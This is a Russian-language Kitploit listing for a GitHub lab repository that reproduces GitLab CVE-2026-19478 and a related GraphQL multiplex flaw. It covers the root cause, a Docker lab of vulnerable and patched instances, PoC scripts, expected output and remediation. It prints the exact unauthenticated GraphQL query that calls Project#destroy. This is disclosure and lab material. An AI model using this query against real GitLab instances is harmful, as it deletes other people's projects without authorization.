Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
gitlab-cve-2026-19478-lab — Воспроизводимая A/B-лаборатория + безопасный PoC для GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) | Kitploit
Инструменты/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIВеб-безопасностьТестирование на ПроникновениеЛаборатории и Практика
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

Воспроизводимая A/B-лаборатория + безопасный PoC для GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

Репозиторий
816 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-19478 — GitLab GraphQL @gl_introduced: неаутентифицированный произвольный вызов методов (лаборатория для проверки + PoC)

Воспроизводимая лаборатория A/B и безопасный PoC для CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Critical). Неаутентифицированный злоумышленник может вызывать произвольные Ruby-методы с нулём аргументов на объектах, разрешаемых через GraphQL — например, вызвать Project#destroy, чтобы удалить публичный проект без учётных данных.

Также включает PoC для смежной уязвимости CVE-2026-19650 (подмена запросов в GraphQL multiplex), исправленной в том же релизе.

Только для авторизованного тестирования безопасности / обучения. Всё выполняется в ваших собственных локальных контейнерах.


1. Уязвимость

GitLab поставляет клиентскую GraphQL-директиву @gl_introduced(version: "X.Y.Z") (прямая совместимость для rolling-развёртываний). Когда в запросе указано поле с версией новее, чем у работающего сервера, трассировщик (Gitlab::Graphql::VersionFilter::IntroducedTracer) удаляет его перед статической валидацией, поэтому запрос проходит валидацию, а затем на этапе выполнения повторно исполняет документ и позволяет неизвестным полям разрешаться через запасной вариант.

Скачать инструмент
оригинальный

Ошибка находится в запасном варианте (lib/gitlab/graphql/version_filter/future_field_fallback.rb, до патча):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

Поле GraphQL::Schema::Field без резолвера разрешается graphql-ruby вызовом object.public_send(field_name) (в graphql-ruby, lib/graphql/schema/field.rb — ветка respond_to?(@method_sym) → public_send выполняется до того, как будет задействован fallback_value, поэтому fallback_value: nil был мёртвым кодом). Следовательно, при использовании @gl_introduced клиент выбирает имя поля, соответствующее любому методу без аргументов текущего разрешаемого объекта, и сервер вызывает его.

Разрешите публичный проект и запросите «будущее поле» с именем destroy → сервер выполнит Project#destroy.

  • Воздействие: неаутентифицированное изменение/удаление публичных проектов и пользовательских данных (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • Затронуто: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • Исправлено: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — теперь запасной вариант использует явный Resolvers::NilResolver, который возвращает nil и никогда не вызывает метод.

Ограничения срабатывания (выяснено эмпирически)

  1. @gl_introduced(version:) должно быть больше версии сервера (используйте 99.0.0).
  2. Имя поля — это точное имя метода, как есть (snake_case, как в Ruby, например to_param, destroy).
  3. В родительской выборке должен быть ≥1 реальный соседний поле (например, id), иначе отфильтрованный документ — пустой набор выборок, и GitLab возвращает ошибку валидации "Field must have selections".

2. Быстрый старт (A/B лаборатория: уязвимый 19.2.2 vs исправленный 19.2.4)

Требования: Docker + docker compose, ~8 ГБ свободной RAM, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh выводит для каждого экземпляра: базовый URL, путь созданного публичного проекта (root/pub) и административный PAT.


3. Запуск PoC

3a. Определение уязвимости (БЕЗОПАСНО, не разрушительно — по умолчанию)

Использует примитив вызова метода с безвредным методом (to_param). Никакие данные не изменяются.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

Ожидаемый результат:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

а на исправленном экземпляре:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. Доказательство разрушительного воздействия (OPT-IN — удаляет одноразовый проект, который создаёт сам)

Создаёт собственный одноразовый публичный проект через REST API (требуется административный токен из setup.sh), затем удаляет его через неаутентифицированную GraphQL-атаку и подтверждает, что проект исчез.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

Ожидаемый результат (уязвимый экземпляр):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

На исправленном экземпляре тот же запуск сообщает, что проект по-прежнему возвращает 200 OK, а destroy равен null.

3c. Смежная CVE-2026-19650 (подмена запросов в multiplex) — БЕЗОПАСНО

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. Тестирование на собственном экземпляре

Направьте --url на любой GitLab, который вам разрешено тестировать, а --project на публичный проект в нём:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

Определение уязвимости не разрушительно. Не используйте --prove-destroy на объектах, которые вам не принадлежат.


5. Устранение уязвимости

Обновитесь до 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 или новее. Исправление направляет запасной вариант через Resolvers::NilResolver (возвращает nil, никогда не вызывает метод объекта). Если немедленное обновление невозможно, заблокируйте директиву @gl_introduced / путь фильтра версий на прокси или ограничьте неаутентифицированный доступ к GraphQL.

6. Файлы

ФайлНазначение
docker-compose.ymlЗапускает уязвимый 19.2.2-ce (:8222) + исправленный 19.2.4-ce (:8224)
setup.shОжидает готовности, создаёт публичный проект root/pub + административный токен для каждого экземпляра
poc_cve_2026_19478.pyОпределение (безопасно) + опциональное доказательство воздействия --prove-destroy
poc_cve_2026_19650.pyОпределение подмены запросов в multiplex (безопасно)

7. Примечания по безопасности

  • Всё нацелено на контейнеры, которые вы запускаете. PoC по умолчанию не разрушителен.
  • --prove-destroy создаёт и удаляет собственный одноразовый проект; он никогда не затрагивает root/pub и ваши данные.
  • Репортёры: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), через GitLab HackerOne. Публичное техническое раскрытие находилось под эмбарго ~90 дней после патча; данная лаборатория выводит механизм из публичных коммитов исправления e283c6adeb3d (запасной вариант) и d2ea4b971a98 (multiplex swap).